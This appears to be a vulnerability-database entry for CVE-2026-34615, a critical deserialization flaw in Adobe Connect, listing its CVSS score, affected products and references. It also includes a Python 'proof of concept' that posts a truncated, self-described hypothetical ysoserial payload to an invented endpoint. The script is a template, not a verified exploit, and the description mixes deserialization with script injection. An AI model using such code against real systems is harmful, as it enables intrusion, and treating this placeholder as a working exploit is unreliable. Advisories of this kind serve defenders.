CVE-2026-34615

Description

Adobe Connect versions 2025.3, 12.10 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:* - VULNERABLE

cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:windows:*:* - VULNERABLE

Adobe Connect <= 2025.3

Adobe Connect <= 12.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-34615
# This script demonstrates sending a malicious serialized payload to a vulnerable endpoint.
import requests
import base64

# Hypothetical Java ysoserial generated payload (CommonsCollections5)
# Warning: For educational purposes only.
payload_bytes = b"rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAQAB..." 

# Target URL (Hypothetical)
target_url = "http://vulnerable-host:8080/connect/api/vuln"

# Payload encoding (Depends on application implementation)
encoded_payload = base64.b64encode(payload_bytes).decode('utf-8')

headers = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded"
}

# Data containing the serialized object
data = {
    "session_data": encoded_payload
}

try:
    print(f"[*] Sending payload to {target_url}...")
    response = requests.post(target_url, headers=headers, data=data, timeout=10)
    
    if response.status_code == 200:
        print("[+] Payload sent successfully. Check for code execution.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34615
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34615
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34615/
[4] VulDB https://vuldb.com/cve/CVE-2026-34615
[5] https://helpx.adobe.com/security/products/connect/apsb26-37.html

Raw JSON Data

JSON

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